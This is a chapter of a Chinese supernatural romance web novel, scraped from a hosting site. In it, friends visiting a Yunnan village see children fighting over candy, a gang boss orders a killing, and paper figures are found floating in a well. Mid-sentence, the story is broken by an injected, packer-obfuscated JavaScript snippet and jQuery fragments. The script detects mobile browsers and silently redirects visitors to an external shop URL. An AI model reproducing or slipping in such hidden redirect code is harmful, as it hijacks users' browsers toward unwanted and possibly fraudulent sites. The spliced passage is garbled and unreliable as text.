文趣网 > 都市小说 > 在撞邪现场谈恋爱 > 22. 纸人
    早上醒来,沈渡听见屋顶上有沙沙的响声,窗帘没拉严,天灰蒙蒙的,窗户玻璃上糊着一层水珠。

    “天气预报没说今天下雨啊。”白随蹲在屋檐下看着雨滴落下,一阵比一阵急,“我还想去漂流呢。”

    宁栩没他那么大心,他还在想昨天晚上的事。

    “没事,我教你们扎染吧。”阿珍从房间出来,刚洗完的头发湿漉漉的,披在肩上,水珠顺着发梢往下滴,“我不是白族人,但我学过一个月,教你们还是绰绰有余。”

    她动作很快,一会儿院子里就支起大木盆。

    “就这样,把白布用皮筋或线捆扎成各种形状,扎的地方之后会留白。”阿珍说话间完成一个,扎紧丢进染缸。

    沈渡做惯了陶俑,手很稳,“是这样吗?”

    “呀,你手真巧,比我刚学那会儿做的好很多!”阿珍又转过头看宁栩的,“你做的也很好呢,感觉都没什么要我教。”

    “我随便扎的。”宁栩看出阿珍的低落,故意安慰她,“我还有几个地方不懂,你帮我看看……”

    白随不追求质量,只追求数量,没多久扔进去三块,“这一块给我家猫当围脖。”

    “你家也养猫啦?”沈渡没听白随提起过。

    “阿福呀。”

    白随像是很惊讶地看向沈渡,“可不是只有宁栩给阿福买吃的。”

    染布间隙,他们听见不远处的庭院里传来一阵阵哭声,高一声低一声,转头一看是两个五六岁的小孩儿。

    大一点的骑在小一点的身上,小一点的手上死死攥着一块糖,怎么也不肯给他,争抢之间糖掉到地上沾上泥,大的马上捡起来往嘴里放,小的捂着被石头磕出来的伤口一边哭一边恨恨地看着对方。

    沈渡看着他俩,突然觉得很像那天晚上看见的猫和鼠。

    “怎么为一块糖打成这样?”宁栩放下手上的布,觉得这个村子有点不对劲,“我看他们的穿着也不像是窘迫家庭的。”

    “不知道。”

    阿珍摇摇头,“他们是俩兄弟,平时挺要好的,今天怎么为一块糖打起来,我早上听他们妈妈说昨天已经每个人吃了四五块了,今天还要吃。”

    “小孩贪吃是正常的。”白随没当回事,“我小时候也很贪吃,为吃一个鸡腿让我干什么都行。”

    两个小孩被赶来的妈妈领回家,外面又恢复安静。

    ————

    几百公里外,一个废弃厂房的暗屋里,也是这么安静。

    “东西在里面。”

    布袋落在桌面上发生一声闷响,袋口没系紧,漏出青蓝色的瓷片。

    陆还明手上的血迹还没干—是那些东西垂死挣扎时留下的。

    “嗯。”对面人没伸手去拿,他不需要确认,陆还明是他最放心的手下之一。

    “比上次快。”对面人又说,语气平平的,听不出是夸奖,还是在陈述一个事实。

    陆还明低下头,每次任务之后他都很累,动手累,看见乔六更累。

    他不知道乔六的名字,只知道他姓乔排行第六,可能姓也是假的。

    多年前他意外重伤被乔六救下,就成为他的手下。乔六势力很强,大半个明远都在他掌握之中,全国也都有手下。他说他知道阿寻是谁,只要陆还明替他好好做事,他就帮陆还明找到阿寻,一做就是近十年。

    “是你要我做的。”陆还明低声道。

    “你自己不也很喜欢吗?”乔六仰面笑起来,他知道陆还明暴戾的本性,“它们本来就不该存在,成形之后会害人,你知道的。”

    “是。”陆还明知道那东西已经产生意识,能动,能说话,能伤害到自己,“阿寻的事情,还要多久。”

    他的耐心正在消失。

    “最后一件事。做完我就把阿寻带到你身边。”

    陆还明没出声,等他接着往下说。

    “有个人自诩正道,一直和我过不去,他很难对付,你也搞不定。不过他的徒弟没那么难办,你去杀掉他,当为我出一口气。”乔六从上衣口袋掏出一张照片放在桌上。

    “我不杀人。”陆还明看也没看。

    “我只是给你一个选择,你杀不杀全在你。”乔六冷笑一声,“做完这一件事我们就分道扬镳。”

    陆还明没答应,也没拒绝,他看向照片,看到一张熟悉的脸。

    他居然是乔六死对头的徒弟,那个理直气壮警告自己离沈渡远一点的男人,是不是有点太巧?

    ————

    三家村里,宁栩还不知道自己已经成为别人的目标。

    “好累。”白随从车后座下来,脸色微红,他在隔壁村被劝着喝下不少酒,“刚刚那个穿红裙子的姑娘踩我好几脚,是喜欢我暗示我呢还是看我不顺眼?”

    “是你自己没跳在点上吧。”

    沈渡不爱动,被白随拉着去隔壁村子跳舞,只想早点回房间躺下。

    好玩是好玩,民族氛围也很浓,可奈何她肢体不协调,做做手工还行,跳舞实在苦手。

    “怎么可能!”白随嚷嚷起来,“我是跳的最好的,宁栩,你说是不是?”

    “是是是。”

    宁栩把车停到村口,熄火推开车门,他今天才知道白随往日已经算收敛,喝多之后更加聒噪。

    “你根本没看!”

    白随轻哼一声,“你一直拉着小渡渡的手不放,哪有功夫看我。”

    沈渡还记得宁栩掌心的温度,这是她第一次和男人有这么久时间的肢体接触,她觉得自己应该尴尬,但其实并没有,反而很自然,好像一滴水溶进海里。

    “你乱说什么。”宁栩脸一下红起来。

    跳舞的时候,白随的朋友放上一首慢歌,又调暗灯光,人们成双成对地走进场子中间。隔壁村阿妙把沈渡推过来,他伸手牵住她的手,下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663732|206017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意识地握紧,然后再也没放开。

    “我没乱说呀?”

    白随跌跌撞撞地走回到房间门口,回头冲他做个鬼脸,“啦啦啦,胆子真小,追女孩都不敢。”

    “你别听白随乱说。”宁栩看着白随关上门,长叹一口气,转头看向沈渡。

    “他怎么乱说?你胆子很大吗?”沈渡想逗逗宁栩,又觉得没劲,“是很大,连鬼都不怕。”

    “宁哥哥不怕鬼吗?”

    阿珍不知道什么时候冒出来。

    “世上没有鬼。”宁栩想着沈渡的话,随口敷衍。

    他觉得自己很迟钝,听不懂沈渡的话,她是不是在怪自己,还是在讨厌自己。

    下过雨,天气骤然降温,三人早早回到自己房间歇下,约好明天再去漂流。

    沈渡给周珏发过去几张照片,做扎染的、跳舞的、各式各样的当地美食。周珏总缠着她要照片,说她丢下她一个人和两个大帅哥出去玩,不讲义气,下次一定要带上她。

    【这个好吃吗?】

    【扎染做出来是什么样子的?】

    【你穿这么少冷不冷?】

    ……

    沈渡一条条回过去,直到周珏终于问无可问。她刚要放下手机去洗漱,又收到陆还明的消息。

    【你和宁栩一起去的云南?】

    他怎么会突然问这个,沈渡想,早知道朋友圈该屏蔽他。那张照片里宁栩只有一个侧脸,如果不是极其熟悉他的人是认不出来的。

    【嗯。】她不想让陆还明觉得自己拒人于千里之外。

    【三家村那个地方有问题。】陆还明的消息网,或者说乔六的消息网很灵通。

    他的话和沈渡心里所想的一样,她说不出是哪里有问题,也不想去细想,再过几天就要回城,这里的事情和她无关。

    半夜,她醒来觉得口渴,想去烧点水,还未推门就看见窗外有人站在井口边。

    是那个疯子,不知道怎么从柴房里跑出来,脸上还带着伤。

    他站在井口边,嘴里念念有词,听不清在说什么。头垂得很低,手从怀里往外掏东西,看不清是什么,只看到白色的,一小团一小团,从他手里落下去,掉进井里。

    直到怀里的东西全部掉进井里他才离开。

    沈渡见他消失在视线里,走近井口查看,夜色很暗,她微微倾着身子,打开手电筒,终于看清。

    是很多的白纸人,不是几个,是几十个,几百个,层层叠叠地铺在水面上,一个压一个,一个挤一个,像秋天池塘里烂掉的落叶,积得厚厚一层。

    有的沉下去半截,露出上半身;有的还浮在面上,随着井水的微澜轻轻晃动,像在呼吸。

    “纸人。”

    宁栩的声音从背后传来,沈渡并没有被吓到,她对宁栩的声音比对自己的声音还要熟悉。

    “是送替身,厌胜,祭拜,还是镇压?”